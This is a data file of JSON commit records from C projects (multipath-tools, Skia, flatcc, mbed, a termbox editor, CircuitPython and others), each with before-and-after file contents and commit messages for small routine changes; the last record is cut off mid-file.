{"commit":"669b5c11d8c82252f9697e35d183a0c840386261","old_file":"libmultipath\/alias.h","new_file":"libmultipath\/alias.h","old_contents":"#define BINDINGS_FILE_TIMEOUT 3\n#define BINDINGS_FILE_HEADER \\\n\"# Multipath bindings, Version : 1.0\\n\" \\\n\"# NOTE: this file is automatically maintained by the multipath program.\\n\" \\\n\"# You should not need to edit this file in normal circumstances.\\n\" \\\n\"#\\n\" \\\n\"# Format:\\n\" \\\n\"# alias wwid\\n\" \\\n\"#\\n\"\n\nchar *get_user_friendly_alias(char *wwid, char *file);\nchar *get_user_friendly_wwid(char *alias, char *file);\n","new_contents":"#define BINDINGS_FILE_TIMEOUT 30\n#define BINDINGS_FILE_HEADER \\\n\"# Multipath bindings, Version : 1.0\\n\" \\\n\"# NOTE: this file is automatically maintained by the multipath program.\\n\" \\\n\"# You should not need to edit this file in normal circumstances.\\n\" \\\n\"#\\n\" \\\n\"# Format:\\n\" \\\n\"# alias wwid\\n\" \\\n\"#\\n\"\n\nchar *get_user_friendly_alias(char *wwid, char *file);\nchar *get_user_friendly_wwid(char *alias, char *file);\n","subject":"Increase bindings file lock timeout to avoid failure of user_friendly_names","message":"[lib] Increase bindings file lock timeout to avoid failure of user_friendly_names\n\nOn setups with a large number of paths \/ multipath maps, contention for\nthe advisory lock on the bindings file may take longer than 3 seconds,\nand some multipath processes may create maps based on WWID despite having\nuser_friendly_names set.  Increasing the timeout is a simple fix that\ngets us a bit further.\n","lang":"C","license":"lgpl-2.1","repos":"unakatsuo\/multipath-tools,vijaychauhan\/multipath-tools,grzn\/multipath-tools-explained,unakatsuo\/multipath-tools,grzn\/multipath-tools-explained,gebi\/multipath-tools,unakatsuo\/multipath-tools,vijaychauhan\/multipath-tools"}
{"commit":"2e890d726c631346512b74928411575dcaa517d9","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 99\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 100\n#endif\n","subject":"Update Skia milestone to 100","message":"Update Skia milestone to 100\n\nChange-Id: I9d435a7a68ef870ef027ee3c6acb79792773868b\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/497609\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nReviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\nCommit-Queue: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"1636cf91cd66ab4cae55854b25f45b1b77151c88","old_file":"src\/idx.h","new_file":"src\/idx.h","old_contents":"#ifndef __IDX_H_ENTRY_H__\n#define __IDX_H_ENTRY_H__\n\ntypedef struct {\n   unsigned char header[4];\n   int length;\n   unsigned char *data;\n} IDX1_DATA ;\n\ntypedef struct {\n   unsigned char header[4];\n   int nimages;\n   int nrows;\n   int ncols;\n   unsigned char *data;\n} IDX3_DATA ;\n\nint fread_idx1_file( char *slabelfname, IDX1_DATA *idxdata);\n\n#endif  \/* __IDX_H_ENTRY_H__ *\/\n","new_contents":"#ifndef __IDX_H_ENTRY_H__\n#define __IDX_H_ENTRY_H__\n\ntypedef struct {\n   unsigned char header[4];\n   int length;\n   unsigned char *data;\n} IDX1_DATA ;\n\ntypedef struct {\n   unsigned char header[4];\n   int nimages;\n   int nrows;\n   int ncols;\n   int length;\n   unsigned char *data;\n} IDX3_DATA ;\n\nint fread_idx1_file( char *slabelfname, IDX1_DATA *idxdata);\n\n#endif  \/* __IDX_H_ENTRY_H__ *\/\n","subject":"Add a length field to the IDX3_DATA structure.","message":"Add a length field to the IDX3_DATA structure.\n","lang":"C","license":"mit","repos":"spytheman\/MNIST-idx1-and-idx3-file-readers"}
{"commit":"f12a377ceee0f8ee2d5fc5dd83be6015197b5387","old_file":"nvidia_library\/NvidiaApi.h","new_file":"nvidia_library\/NvidiaApi.h","old_contents":"#pragma once\n#include \"helpers.h\"\n#include \"nvidia_interface_datatypes.h\"\n#include <vector>\n#include <memory>\n\nclass NvidiaGPU;\n\nclass NVLIB_EXPORTED NvidiaApi\n{\npublic:\n    NvidiaApi();\n    ~NvidiaApi();\n    int getGPUCount();\n    std::shared_ptr<NvidiaGPU> getGPU(int index);\nprivate:\n    bool GPUloaded = false;\n    std::vector<std::shared_ptr<NvidiaGPU>> gpus;\n    bool ensureGPUsLoaded();\n};\n\nclass NVLIB_EXPORTED NvidiaGPU\n{\npublic:\n    friend class NvidiaApi;\n    float getCoreClock();\n    float getMemoryClock();\n    float getGPUUsage();\n    float getFBUsage();\n    float getVidUsage();\n    float getBusUsage();\nprivate:\n    NV_PHYSICAL_GPU_HANDLE handle;\n    NvidiaGPU(NV_PHYSICAL_GPU_HANDLE handle);\n    struct NVIDIA_CLOCK_FREQUENCIES frequencies;\n    bool reloadFrequencies();\n    float getClockForSystem(NVIDIA_CLOCK_SYSTEM system);\n    float getUsageForSystem(NVIDIA_DYNAMIC_PSTATES_SYSTEM system);\n};\n","new_contents":"#pragma once\n#include \"helpers.h\"\n#include \"nvidia_interface_datatypes.h\"\n#include <vector>\n#include <memory>\n\nclass NvidiaGPU;\n\nclass NVLIB_EXPORTED NvidiaApi\n{\npublic:\n    NvidiaApi();\n    ~NvidiaApi();\n    int getGPUCount();\n    std::shared_ptr<NvidiaGPU> getGPU(int index);\nprivate:\n    std::vector<std::shared_ptr<NvidiaGPU>> gpus;\n    bool ensureGPUsLoaded();\n    bool GPUloaded = false;\n};\n\nclass NVLIB_EXPORTED NvidiaGPU\n{\npublic:\n    friend class NvidiaApi;\n    float getCoreClock();\n    float getMemoryClock();\n    float getGPUUsage();\n    float getFBUsage();\n    float getVidUsage();\n    float getBusUsage();\nprivate:\n    NV_PHYSICAL_GPU_HANDLE handle;\n    NvidiaGPU(NV_PHYSICAL_GPU_HANDLE handle);\n    struct NVIDIA_CLOCK_FREQUENCIES frequencies;\n    bool reloadFrequencies();\n    float getClockForSystem(NVIDIA_CLOCK_SYSTEM system);\n    float getUsageForSystem(NVIDIA_DYNAMIC_PSTATES_SYSTEM system);\n};\n","subject":"Tweak a minor alignment issue.","message":"Tweak a minor alignment issue.\n","lang":"C","license":"mit","repos":"ircubic\/lib_gpu,ircubic\/lib_gpu,ircubic\/lib_gpu"}
{"commit":"b16eec4314bc8716ac56b8db04d1d49eaf9f8148","old_file":"include\/flatcc\/portable\/pversion.h","new_file":"include\/flatcc\/portable\/pversion.h","old_contents":"#define PORTABLE_VERSION_TEXT \"0.2.5\"\n#define PORTABLE_VERSION_MAJOR 0\n#define PORTABLE_VERSION_MINOR 2\n#define PORTABLE_VERSION_PATCH 5\n\/* 1 or 0 *\/\n#define PORTABLE_VERSION_RELEASED 1\n","new_contents":"#define PORTABLE_VERSION_TEXT \"0.2.6-pre\"\n#define PORTABLE_VERSION_MAJOR 0\n#define PORTABLE_VERSION_MINOR 2\n#define PORTABLE_VERSION_PATCH 6\n\/* 1 or 0 *\/\n#define PORTABLE_VERSION_RELEASED 0\n","subject":"Bump portable version to 0.2.6-pre","message":"Bump portable version to 0.2.6-pre\n","lang":"C","license":"apache-2.0","repos":"dvidelabs\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc"}
{"commit":"262de226f343c443c29c2e83328a8be07afbc3cc","old_file":"include\/flatcc\/portable\/pversion.h","new_file":"include\/flatcc\/portable\/pversion.h","old_contents":"#define PORTABLE_VERSION_TEXT \"0.2.4\"\n#define PORTABLE_VERSION_MAJOR 0\n#define PORTABLE_VERSION_MINOR 2\n#define PORTABLE_VERSION_PATCH 4\n\/* 1 or 0 *\/\n#define PORTABLE_VERSION_RELEASED 1\n","new_contents":"#define PORTABLE_VERSION_TEXT \"0.2.5-pre\"\n#define PORTABLE_VERSION_MAJOR 0\n#define PORTABLE_VERSION_MINOR 2\n#define PORTABLE_VERSION_PATCH 5\n\/* 1 or 0 *\/\n#define PORTABLE_VERSION_RELEASED 0\n","subject":"Update portable version to unreleased","message":"Update portable version to unreleased\n","lang":"C","license":"apache-2.0","repos":"dvidelabs\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc"}
{"commit":"472036f0d4e28d8829b47ae4f8405849e8aed687","old_file":"lab4.c","new_file":"lab4.c","old_contents":"","new_contents":"\/* lab4.c: Read integers and print out the sum of all even and odd\n * numbers separately *\/\n#include <stdio.h>\n\nint main() {\n    int num = 0;\n    int even_sum = 0;\n    int odd_sum = 0;\n\n     do {\n        printf(\"Enter an integer: \");\n        fflush(stdout);\n        scanf(\"%d\",&num);\n        switch (num % 2) {\n        case 0:\n            even_sum += num;\n            break;\n        default:\n            odd_sum += num;\n        }\n    } while (num != 0);\n\n    printf(\"Sum of evens: %d\\n\", even_sum);\n    printf(\"Sum of odds: %d\\n\", odd_sum);\n    return 0;\n}","subject":"Rewrite of odd\/even number program for arbitrary number of inputs using switch statement","message":"Rewrite of odd\/even number program for arbitrary number of inputs using switch statement\n","lang":"C","license":"mit","repos":"sookoor\/Learn-C-the-Hard-Way,sookoor\/Learn-C-the-Hard-Way,sookoor\/Learn-C-the-Hard-Way"}
{"commit":"459c21926c5bbefe8689a4b4fd6088d0e6ed05f1","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <termbox.h>\n\n#include \"editor.h\"\n#include \"util.h\"\n\nint main(int argc, char *argv[]) {\n  debug_init();\n\n  editor_t editor;\n  cursor_t cursor;\n  editor_init(&editor, &cursor, argc > 1 ? argv[1] : NULL);\n\n  int err = tb_init();\n  if (err) {\n    fprintf(stderr, \"tb_init() failed with error code %d\\n\", err);\n    return 1;\n  }\n  atexit(tb_shutdown);\n\n  editor_draw(&editor);\n\n  struct tb_event ev;\n  while (tb_poll_event(&ev)) {\n    switch (ev.type) {\n    case TB_EVENT_KEY:\n      editor_handle_key_press(&editor, &ev);\n      break;\n    case TB_EVENT_RESIZE:\n      editor_draw(&editor);\n      break;\n    default:\n      break;\n    }\n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <signal.h>\n\n#include <termbox.h>\n\n#include \"editor.h\"\n#include \"util.h\"\n\n\/\/ termbox catches ctrl-z as a regular key event. To suspend the process as\n\/\/ normal, manually raise SIGTSTP.\n\/\/\n\/\/ Not 100% sure why we need to shutdown termbox, but the terminal gets all\n\/\/ weird if we don't. Mainly copied this approach from here:\n\/\/ https:\/\/github.com\/nsf\/godit\/blob\/master\/suspend_linux.go\nstatic void suspend(editor_t *editor) {\n  tb_shutdown();\n\n  raise(SIGTSTP);\n\n  int err = tb_init();\n  if (err) {\n    fprintf(stderr, \"tb_init() failed with error code %d\\n\", err);\n    exit(1);\n  }\n\n  editor_draw(editor);\n}\n\nint main(int argc, char *argv[]) {\n  debug_init();\n\n  editor_t editor;\n  cursor_t cursor;\n  editor_init(&editor, &cursor, argc > 1 ? argv[1] : NULL);\n\n  int err = tb_init();\n  if (err) {\n    fprintf(stderr, \"tb_init() failed with error code %d\\n\", err);\n    return 1;\n  }\n  atexit(tb_shutdown);\n\n  editor_draw(&editor);\n\n  struct tb_event ev;\n  while (tb_poll_event(&ev)) {\n    switch (ev.type) {\n    case TB_EVENT_KEY:\n      if (ev.key == TB_KEY_CTRL_Z) {\n        suspend(&editor);\n      } else {\n        editor_handle_key_press(&editor, &ev);\n      }\n      break;\n    case TB_EVENT_RESIZE:\n      editor_draw(&editor);\n      break;\n    default:\n      break;\n    }\n  }\n\n  return 0;\n}\n","subject":"Handle Ctrl-Z to suspend the process.","message":"Handle Ctrl-Z to suspend the process.\n","lang":"C","license":"mit","repos":"isbadawi\/badavi"}
{"commit":"beed7117adc92edf3e5aefb1d341e29eab90b17d","old_file":"libraries\/mbed\/common\/exit.c","new_file":"libraries\/mbed\/common\/exit.c","old_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2006-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"semihost_api.h\"\n#include \"mbed_interface.h\"\n\n#ifdef TOOLCHAIN_GCC_CW\n\/\/ TODO: Ideally, we would like to define directly \"_ExitProcess\"\nvoid mbed_exit(int return_code) {\n#else\nvoid exit(int return_code) {\n#endif\n\n#if DEVICE_SEMIHOST\n    if (mbed_interface_connected()) {\n        semihost_exit();\n    }\n#endif\n    if (return_code) {\n        mbed_die();\n    }\n\n    while (1);\n}\n","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2006-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"semihost_api.h\"\n#include \"mbed_interface.h\"\n#include \"toolchain.h\"\n\n#ifdef TOOLCHAIN_GCC_CW\n\/\/ TODO: Ideally, we would like to define directly \"_ExitProcess\"\nvoid mbed_exit(int return_code) {\n#else\nvoid exit(int return_code) {\n#endif\n\n#if DEVICE_SEMIHOST\n    if (mbed_interface_connected()) {\n        semihost_exit();\n    }\n#endif\n    if (return_code) {\n        mbed_die();\n    }\n\n    while (1);\n}\n\nWEAK void __cxa_pure_virtual(void);\nWEAK void __cxa_pure_virtual(void) {\n    exit(1);\n}\n\n","subject":"Add __cxa_pure_virtual to avoid pulling in functions from the C++ library","message":"Add __cxa_pure_virtual to avoid pulling in functions from the C++ library\n\nFixes PRMBED-859\n","lang":"C","license":"apache-2.0","repos":"nabilbendafi\/mbed,pradeep-gr\/mbed-os5-onsemi,sam-geek\/mbed,DanKupiniak\/mbed,jrjang\/mbed,alertby\/mbed,svogl\/mbed-os,nvlsianpu\/mbed,mbedmicro\/mbed,logost\/mbed,hwfwgrp\/mbed,mbedmicro\/mbed,svastm\/mbed,Sweet-Peas\/mbed,radhika-raghavendran\/mbed-os5.1-onsemi,pi19404\/mbed,alertby\/mbed,alertby\/mbed,autopulated\/mbed,devanlai\/mbed,ARM-software\/mbed-beetle,GustavWi\/mbed,pedromes\/mbed,jferreir\/mbed,wodji\/mbed,fanghuaqi\/mbed,tung7970\/mbed-os,RonEld\/mbed,svogl\/mbed-os,devanlai\/mbed,YarivCol\/mbed-os,kl-cruz\/mbed-os,ban4jp\/mbed,NitinBhaskar\/mbed,screamerbg\/mbed,fpiot\/mbed-ats,RonEld\/mbed,K4zuki\/mbed,larks\/mbed,jferreir\/mbed,FranklyDev\/mbed,andreaslarssonublox\/mbed,HeadsUpDisplayInc\/mbed,mmorenobarm\/mbed-os,wodji\/mbed,NitinBhaskar\/mbed,fahhem\/mbed-os,Willem23\/mbed,0xc0170\/mbed-drivers,svastm\/mbed,geky\/mbed,bikeNomad\/mbed,andreaslarssonublox\/mbed,CalSol\/mbed,jeremybrodt\/mbed,sam-geek\/mbed,CalSol\/mbed,xcrespo\/mbed,Timmmm\/mbed,mmorenobarm\/mbed-os,JasonHow44\/mbed,mikaleppanen\/mbed-os,theotherjimmy\/mbed,tung7970\/mbed-os-1,Sweet-Peas\/mbed,svogl\/mbed-os,bentwire\/mbed,fvincenzo\/mbed-os,hwfwgrp\/mbed,kl-cruz\/mbed-os,JasonHow44\/mbed,mikaleppanen\/mbed-os,maximmbed\/mbed,nabilbendafi\/mbed,HeadsUpDisplayInc\/mbed,masaohamanaka\/mbed,Willem23\/mbed,devanlai\/mbed,jeremybrodt\/mbed,karsev\/mbed-os,screamerbg\/mbed,sam-geek\/mbed,fanghuaqi\/mbed,brstew\/MBED-BUILD,cvtsi2sd\/mbed-os,pi19404\/mbed,Tiryoh\/mbed,NXPmicro\/mbed,kjbracey-arm\/mbed,NitinBhaskar\/mbed,infinnovation\/mbed-os,sg-\/mbed-drivers,cvtsi2sd\/mbed-os,pedromes\/mbed,NXPmicro\/mbed,Archcady\/mbed-os,xcrespo\/mbed,mmorenobarm\/mbed-os,bremoran\/mbed-drivers,NXPmicro\/mbed,JasonHow44\/mbed,Marcomissyou\/mbed,GustavWi\/mbed,adamgreen\/mbed,catiedev\/mbed-os,screamerbg\/mbed,hwfwgrp\/mbed,struempelix\/mbed,adustm\/mbed,netzimme\/mbed-os,autopulated\/mbed,Shengliang\/mbed,wodji\/mbed,brstew\/MBED-BUILD,FranklyDev\/mbed,cvtsi2sd\/mbed-os,cvtsi2sd\/mbed-os,kpurusho\/mbed,bikeNomad\/mbed,fanghuaqi\/mbed,tung7970\/mbed-os-1,nabilbendafi\/mbed,adustm\/mbed,hwfwgrp\/mbed,hwfwgrp\/mbed,pi19404\/mbed,nRFMesh\/mbed-os,CalSol\/mbed,radhika-raghavendran\/mbed-os5.1-onsemi,struempelix\/mbed,svastm\/mbed,ryankurte\/mbed-os,andcor02\/mbed-os,RonEld\/mbed,getopenmono\/mbed,GustavWi\/mbed,HeadsUpDisplayInc\/mbed,adamgreen\/mbed,andcor02\/mbed-os,betzw\/mbed-os,Shengliang\/mbed,wodji\/mbed,getopenmono\/mbed,jferreir\/mbed,rgrover\/mbed,pradeep-gr\/mbed-os5-onsemi,pedromes\/mbed,mnlipp\/mbed,tung7970\/mbed-os,ryankurte\/mbed-os,jamesadevine\/mbed,al177\/mbed,jferreir\/mbed,wodji\/mbed,HeadsUpDisplayInc\/mbed,j-greffe\/mbed-os,RonEld\/mbed,bikeNomad\/mbed,DanKupiniak\/mbed,bulislaw\/mbed-os,dbestm\/mbed,andcor02\/mbed-os,Timmmm\/mbed,mnlipp\/mbed,netzimme\/mbed-os,EmuxEvans\/mbed,getopenmono\/mbed,Marcomissyou\/mbed,YarivCol\/mbed-os,ban4jp\/mbed,bulislaw\/mbed-os,adustm\/mbed,Shengliang\/mbed,Tiryoh\/mbed,naves-thiago\/mbed-midi,naves-thiago\/mbed-midi,larks\/mbed,tung7970\/mbed-os,j-greffe\/mbed-os,adustm\/mbed,theotherjimmy\/mbed,nvlsianpu\/mbed,CalSol\/mbed,JasonHow44\/mbed,brstew\/MBED-BUILD,mbedmicro\/mbed,alertby\/mbed,infinnovation\/mbed-os,masaohamanaka\/mbed,devanlai\/mbed,rosterloh\/mbed,jrjang\/mbed,Shengliang\/mbed,bentwire\/mbed,geky\/mbed,naves-thiago\/mbed-midi,catiedev\/mbed-os,maximmbed\/mbed,brstew\/MBED-BUILD,bentwire\/mbed,infinnovation\/mbed-os,infinnovation\/mbed-os,fanghuaqi\/mbed,tung7970\/mbed-os-1,pedromes\/mbed,betzw\/mbed-os,YarivCol\/mbed-os,Marcomissyou\/mbed,mazimkhan\/mbed-os,Archcady\/mbed-os,fanghuaqi\/mbed,Willem23\/mbed,tung7970\/mbed-os-1,karsev\/mbed-os,ARM-software\/mbed-beetle,iriark01\/mbed-drivers,FranklyDev\/mbed,bremoran\/mbed-drivers,NordicSemiconductor\/mbed,bentwire\/mbed,jamesadevine\/mbed,jamesadevine\/mbed,mazimkhan\/mbed-os,bcostm\/mbed-os,GustavWi\/mbed,masaohamanaka\/mbed,autopulated\/mbed,geky\/mbed,kjbracey-arm\/mbed,K4zuki\/mbed,NitinBhaskar\/mbed,nRFMesh\/mbed-os,nabilbendafi\/mbed,fpiot\/mbed-ats,jferreir\/mbed,rgrover\/mbed,rosterloh\/mbed,getopenmono\/mbed,Marcomissyou\/mbed,jpbrucker\/mbed,Tiryoh\/mbed,andcor02\/mbed-os,mikaleppanen\/mbed-os,rosterloh\/mbed,pedromes\/mbed,K4zuki\/mbed,jrjang\/mbed,nvlsianpu\/mbed,mazimkhan\/mbed-os,larks\/mbed,ryankurte\/mbed-os,kpurusho\/mbed,mnlipp\/mbed,xcrespo\/mbed,dbestm\/mbed,struempelix\/mbed,FranklyDev\/mbed,bentwire\/mbed,dbestm\/mbed,fahhem\/mbed-os,fvincenzo\/mbed-os,pradeep-gr\/mbed-os5-onsemi,andreaslarssonublox\/mbed,mazimkhan\/mbed-os,masaohamanaka\/mbed,dbestm\/mbed,autopulated\/mbed,j-greffe\/mbed-os,NordicSemiconductor\/mbed,NXPmicro\/mbed,DanKupiniak\/mbed,jeremybrodt\/mbed,andcor02\/mbed-os,FranklyDev\/mbed,Willem23\/mbed,kpurusho\/mbed,mmorenobarm\/mbed-os,Sweet-Peas\/mbed,alertby\/mbed,fahhem\/mbed-os,logost\/mbed,c1728p9\/mbed-os,nRFMesh\/mbed-os,kl-cruz\/mbed-os,mnlipp\/mbed,nvlsianpu\/mbed,mbedmicro\/mbed,struempelix\/mbed,HeadsUpDisplayInc\/mbed,monkiineko\/mbed-os,Marcomissyou\/mbed,YarivCol\/mbed-os,mazimkhan\/mbed-os,nRFMesh\/mbed-os,nvlsianpu\/mbed,Timmmm\/mbed,brstew\/MBED-BUILD,sam-geek\/mbed,getopenmono\/mbed,theotherjimmy\/mbed,adamgreen\/mbed,karsev\/mbed-os,sg-\/mbed-drivers,bikeNomad\/mbed,logost\/mbed,devanlai\/mbed,monkiineko\/mbed-os,adustm\/mbed,c1728p9\/mbed-os,xcrespo\/mbed,pi19404\/mbed,j-greffe\/mbed-os,EmuxEvans\/mbed,logost\/mbed,radhika-raghavendran\/mbed-os5.1-onsemi,Timmmm\/mbed,autopulated\/mbed,sam-geek\/mbed,rosterloh\/mbed,maximmbed\/mbed,naves-thiago\/mbed-midi,jpbrucker\/mbed,jeremybrodt\/mbed,kpurusho\/mbed,Willem23\/mbed,iriark01\/mbed-drivers,pbrook\/mbed,fahhem\/mbed-os,ban4jp\/mbed,K4zuki\/mbed,jpbrucker\/mbed,fpiot\/mbed-ats,jpbrucker\/mbed,pbrook\/mbed,mikaleppanen\/mbed-os,monkiineko\/mbed-os,maximmbed\/mbed,mikaleppanen\/mbed-os,andreaslarssonublox\/mbed,fpiot\/mbed-ats,K4zuki\/mbed,mazimkhan\/mbed-os,Archcady\/mbed-os,Sweet-Peas\/mbed,hwfwgrp\/mbed,mbedmicro\/mbed,Shengliang\/mbed,monkiineko\/mbed-os,JasonHow44\/mbed,tung7970\/mbed-os-1,getopenmono\/mbed,adamgreen\/mbed,bcostm\/mbed-os,NordicSemiconductor\/mbed,bcostm\/mbed-os,catiedev\/mbed-os,struempelix\/mbed,ban4jp\/mbed,screamerbg\/mbed,rgrover\/mbed,karsev\/mbed-os,NitinBhaskar\/mbed,al177\/mbed,Archcady\/mbed-os,netzimme\/mbed-os,devanlai\/mbed,masaohamanaka\/mbed,ARM-software\/mbed-beetle,monkiineko\/mbed-os,bulislaw\/mbed-os,ARM-software\/mbed-beetle,bcostm\/mbed-os,dbestm\/mbed,rgrover\/mbed,autopulated\/mbed,0xc0170\/mbed-drivers,j-greffe\/mbed-os,netzimme\/mbed-os,tung7970\/mbed-os,RonEld\/mbed,HeadsUpDisplayInc\/mbed,CalSol\/mbed,kl-cruz\/mbed-os,j-greffe\/mbed-os,fahhem\/mbed-os,betzw\/mbed-os,ryankurte\/mbed-os,svastm\/mbed,svogl\/mbed-os,jamesadevine\/mbed,EmuxEvans\/mbed,Archcady\/mbed-os,nRFMesh\/mbed-os,al177\/mbed,Timmmm\/mbed,Tiryoh\/mbed,nvlsianpu\/mbed,bentwire\/mbed,screamerbg\/mbed,Archcady\/mbed-os,bcostm\/mbed-os,naves-thiago\/mbed-midi,nabilbendafi\/mbed,pi19404\/mbed,ban4jp\/mbed,al177\/mbed,pi19404\/mbed,catiedev\/mbed-os,Sweet-Peas\/mbed,fahhem\/mbed-os,infinnovation\/mbed-os,pbrook\/mbed,K4zuki\/mbed,arostm\/mbed-os,Tiryoh\/mbed,mikaleppanen\/mbed-os,theotherjimmy\/mbed,bulislaw\/mbed-os,netzimme\/mbed-os,kjbracey-arm\/mbed,karsev\/mbed-os,c1728p9\/mbed-os,ryankurte\/mbed-os,EmuxEvans\/mbed,svastm\/mbed,Shengliang\/mbed,netzimme\/mbed-os,maximmbed\/mbed,kl-cruz\/mbed-os,pradeep-gr\/mbed-os5-onsemi,arostm\/mbed-os,rosterloh\/mbed,EmuxEvans\/mbed,NXPmicro\/mbed,al177\/mbed,pradeep-gr\/mbed-os5-onsemi,radhika-raghavendran\/mbed-os5.1-onsemi,arostm\/mbed-os,arostm\/mbed-os,arostm\/mbed-os,jpbrucker\/mbed,bulislaw\/mbed-os,kpurusho\/mbed,larks\/mbed,geky\/mbed,kjbracey-arm\/mbed,dbestm\/mbed,mmorenobarm\/mbed-os,GustavWi\/mbed,adamgreen\/mbed,wodji\/mbed,ban4jp\/mbed,radhika-raghavendran\/mbed-os5.1-onsemi,CalSol\/mbed,theotherjimmy\/mbed,rosterloh\/mbed,bulislaw\/mbed-os,Tiryoh\/mbed,al177\/mbed,YarivCol\/mbed-os,infinnovation\/mbed-os,kl-cruz\/mbed-os,larks\/mbed,mnlipp\/mbed,cvtsi2sd\/mbed-os,jrjang\/mbed,fvincenzo\/mbed-os,fpiot\/mbed-ats,geky\/mbed,theotherjimmy\/mbed,nabilbendafi\/mbed,tung7970\/mbed-os,masaohamanaka\/mbed,andreaslarssonublox\/mbed,EmuxEvans\/mbed,jamesadevine\/mbed,alertby\/mbed,mnlipp\/mbed,xcrespo\/mbed,cvtsi2sd\/mbed-os,adustm\/mbed,DanKupiniak\/mbed,nRFMesh\/mbed-os,larks\/mbed,jrjang\/mbed,betzw\/mbed-os,c1728p9\/mbed-os,screamerbg\/mbed,pbrook\/mbed,logost\/mbed,betzw\/mbed-os,monkiineko\/mbed-os,JasonHow44\/mbed,bikeNomad\/mbed,karsev\/mbed-os,adamgreen\/mbed,andcor02\/mbed-os,c1728p9\/mbed-os,bcostm\/mbed-os,mmorenobarm\/mbed-os,Timmmm\/mbed,pradeep-gr\/mbed-os5-onsemi,radhika-raghavendran\/mbed-os5.1-onsemi,fvincenzo\/mbed-os,jrjang\/mbed,ryankurte\/mbed-os,brstew\/MBED-BUILD,svogl\/mbed-os,Sweet-Peas\/mbed,RonEld\/mbed,pbrook\/mbed,maximmbed\/mbed,rgrover\/mbed,pbrook\/mbed,jeremybrodt\/mbed,xcrespo\/mbed,NXPmicro\/mbed,logost\/mbed,struempelix\/mbed,YarivCol\/mbed-os,catiedev\/mbed-os,fvincenzo\/mbed-os,jferreir\/mbed,NordicSemiconductor\/mbed,kpurusho\/mbed,Marcomissyou\/mbed,naves-thiago\/mbed-midi,arostm\/mbed-os,c1728p9\/mbed-os,pedromes\/mbed,fpiot\/mbed-ats,svogl\/mbed-os,jpbrucker\/mbed,betzw\/mbed-os,catiedev\/mbed-os,jamesadevine\/mbed"}
{"commit":"e4c6b241a94c6828710faa00e1ac9188c26667eb","old_file":"shared-module\/_protomatter\/allocator.h","new_file":"shared-module\/_protomatter\/allocator.h","old_contents":"#ifndef MICROPY_INCLUDED_SHARED_MODULE_PROTOMATTER_ALLOCATOR_H\n#define MICROPY_INCLUDED_SHARED_MODULE_PROTOMATTER_ALLOCATOR_H\n\n#include <stdbool.h>\n#include \"py\/gc.h\"\n#include \"py\/misc.h\"\n#include \"supervisor\/memory.h\"\n\n#define _PM_ALLOCATOR _PM_allocator_impl\n#define _PM_FREE(x) (_PM_free_impl((x)), (x)=NULL, (void)0)\n\nstatic inline void *_PM_allocator_impl(size_t sz) {\n    if (gc_alloc_possible()) {\n        return m_malloc(sz + sizeof(void*), true);\n    } else {\n        supervisor_allocation *allocation = allocate_memory(align32_size(sz), true);    \n        return allocation ? allocation->ptr : NULL;\n    }\n}\n\nstatic inline void _PM_free_impl(void *ptr_in) {\n    supervisor_allocation *allocation = allocation_from_ptr(ptr_in);\n    \n    if (allocation) {\n        free_memory(allocation);\n    }\n}\n\n#endif\n","new_contents":"#ifndef MICROPY_INCLUDED_SHARED_MODULE_PROTOMATTER_ALLOCATOR_H\n#define MICROPY_INCLUDED_SHARED_MODULE_PROTOMATTER_ALLOCATOR_H\n\n#include <stdbool.h>\n#include \"py\/gc.h\"\n#include \"py\/misc.h\"\n#include \"supervisor\/memory.h\"\n\n#define _PM_ALLOCATOR _PM_allocator_impl\n#define _PM_FREE(x) (_PM_free_impl((x)), (x)=NULL, (void)0)\n\nstatic inline void *_PM_allocator_impl(size_t sz) {\n    if (gc_alloc_possible()) {\n        return m_malloc(sz + sizeof(void*), true);\n    } else {\n        supervisor_allocation *allocation = allocate_memory(align32_size(sz), false);    \n        return allocation ? allocation->ptr : NULL;\n    